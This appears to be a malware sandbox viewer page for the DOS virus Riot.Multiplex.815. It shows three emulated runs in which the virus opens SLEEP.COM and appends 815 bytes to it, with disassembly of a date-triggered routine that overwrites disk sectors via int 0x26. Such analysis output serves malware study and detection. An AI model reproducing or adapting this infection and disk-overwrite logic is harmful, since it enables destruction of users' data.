Sample viewer

vx.netlux.org/Virus.DOS.Riot.Multiplex.815

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:45:15.409099798Z 71 PC: 12a64 | Get current directory
2018-12-17T22:45:15.412445016Z 26 PC: 12a74 | Set disk transfer address
2018-12-17T22:45:15.41376998Z 78 PC: 12c85 | Find first file
2018-12-17T22:45:15.420373264Z 61 PC: 12a91 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:45:15.433388723Z 66 PC: 12aa6 | Move file pointer
2018-12-17T22:45:15.435902797Z 63 PC: 12abb | Read file or device (Read 5 bytes on handle 5)
2018-12-17T22:45:15.443202472Z 66 PC: 12ae5 | Move file pointer
2018-12-17T22:45:15.444658105Z 63 PC: 12af5 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:15.448596988Z 66 PC: 12b03 | Move file pointer
2018-12-17T22:45:15.45007694Z 64 PC: 12c22 | Write file or device (Write 815 bytes on handle 5)
2018-12-17T22:45:15.464838875Z 66 PC: 12b1b | Move file pointer
2018-12-17T22:45:15.466968595Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:45:15.485132027Z 59 PC: 12b33 | Change current directory
2018-12-17T22:45:15.490101443Z 62 PC: 12c2c | Close file
2018-12-17T22:45:15.500783836Z 42 PC: 12b83 | Get date 0x12b83: cmp dl, 5
0x12b86: jne 0x12b92
0x12b88: mov al, 2
0x12b8a: mov cx, 0x100
0x12b8d: cdq
0x12b8e: int 0x26
0x12b90: jmp 0x12b90
0x12b92: mov ax, 0x100
0x12b95: jmp ax
0x12b97: call 0x12c25
0x12b9a: call 0x12d48
0x12b9d: jb 0x12b35
0x12b9f: jmp 0x12a87
0x12ba2: mov ah, 0x3b
0x12ba4: lea dx, word ptr [si + 0x2ed]
0x12ba8: int 0x21
0x12baa: jmp 0x12b7f
0x12bac: call 0x94e92bea
0x12bb2: add word ptr [bx + si], sp
0x12bb4: dec bp
2018-12-17T22:45:15.503218032Z 76 PC: 12a44 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8473,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:42.360722334Z 71 PC: 12a64 | Get current directory
2018-12-25T12:04:42.364579791Z 26 PC: 12a74 | Set disk transfer address
2018-12-25T12:04:42.365675205Z 78 PC: 12c85 | Find first file
2018-12-25T12:04:42.371898802Z 61 PC: 12a91 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:42.376159152Z 66 PC: 12aa6 | Move file pointer
2018-12-25T12:04:42.377622101Z 63 PC: 12abb | Read file or device (Read 5 bytes on handle 5)
2018-12-25T12:04:42.381540547Z 66 PC: 12ae5 | Move file pointer
2018-12-25T12:04:42.382806655Z 63 PC: 12af5 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:04:42.385273613Z 66 PC: 12b03 | Move file pointer
2018-12-25T12:04:42.386607899Z 64 PC: 12c22 | Write file or device (Write 815 bytes on handle 5)
2018-12-25T12:04:42.621240406Z 66 PC: 12b1b | Move file pointer
2018-12-25T12:04:42.623403644Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:04:42.630108656Z 59 PC: 12b33 | Change current directory
2018-12-25T12:04:42.635662066Z 62 PC: 12c2c | Close file
2018-12-25T12:04:42.645292236Z 42 PC: 12b83 | Get date 0x12b83: cmp dl, 5
0x12b86: jne 0x12b92
0x12b88: mov al, 2
0x12b8a: mov cx, 0x100
0x12b8d: cdq
0x12b8e: int 0x26
0x12b90: jmp 0x12b90
0x12b92: mov ax, 0x100
0x12b95: jmp ax
0x12b97: call 0x12c25
0x12b9a: call 0x12d48
0x12b9d: jb 0x12b35
0x12b9f: jmp 0x12a87
0x12ba2: mov ah, 0x3b
0x12ba4: lea dx, word ptr [si + 0x2ed]
0x12ba8: int 0x21
0x12baa: jmp 0x12b7f
0x12bac: call 0x94e92bea
0x12bb2: add word ptr [bx + si], sp
0x12bb4: dec bp
2018-12-25T12:04:42.647864365Z 76 PC: 12a44 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":5,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":8473,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:04:42.385659389Z 71 PC: 12a64 | Get current directory
2018-12-25T12:04:42.39624843Z 26 PC: 12a74 | Set disk transfer address
2018-12-25T12:04:42.397652858Z 78 PC: 12c85 | Find first file
2018-12-25T12:04:42.403511533Z 61 PC: 12a91 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:04:42.409820291Z 66 PC: 12aa6 | Move file pointer
2018-12-25T12:04:42.411978909Z 63 PC: 12abb | Read file or device (Read 5 bytes on handle 5)
2018-12-25T12:04:42.418426884Z 66 PC: 12ae5 | Move file pointer
2018-12-25T12:04:42.419827234Z 63 PC: 12af5 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:04:42.423580003Z 66 PC: 12b03 | Move file pointer
2018-12-25T12:04:42.425046944Z 64 PC: 12c22 | Write file or device (Write 815 bytes on handle 5)
2018-12-25T12:04:42.624357062Z 66 PC: 12b1b | Move file pointer
2018-12-25T12:04:42.627210693Z 64 PC: 12b2a | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:04:42.635129604Z 59 PC: 12b33 | Change current directory
2018-12-25T12:04:42.639975777Z 62 PC: 12c2c | Close file
2018-12-25T12:04:42.648952341Z 42 PC: 12b83 | Get date 0x12b83: cmp dl, 5
0x12b86: jne 0x12b92
0x12b88: mov al, 2
0x12b8a: mov cx, 0x100
0x12b8d: cdq
0x12b8e: int 0x26
0x12b90: jmp 0x12b90
0x12b92: mov ax, 0x100
0x12b95: jmp ax
0x12b97: call 0x12c25
0x12b9a: call 0x12d48
0x12b9d: jb 0x12b35
0x12b9f: jmp 0x12a87
0x12ba2: mov ah, 0x3b
0x12ba4: lea dx, word ptr [si + 0x2ed]
0x12ba8: int 0x21
0x12baa: jmp 0x12b7f
0x12bac: call 0x94e92bea
0x12bb2: add word ptr [bx + si], sp
0x12bb4: dec bp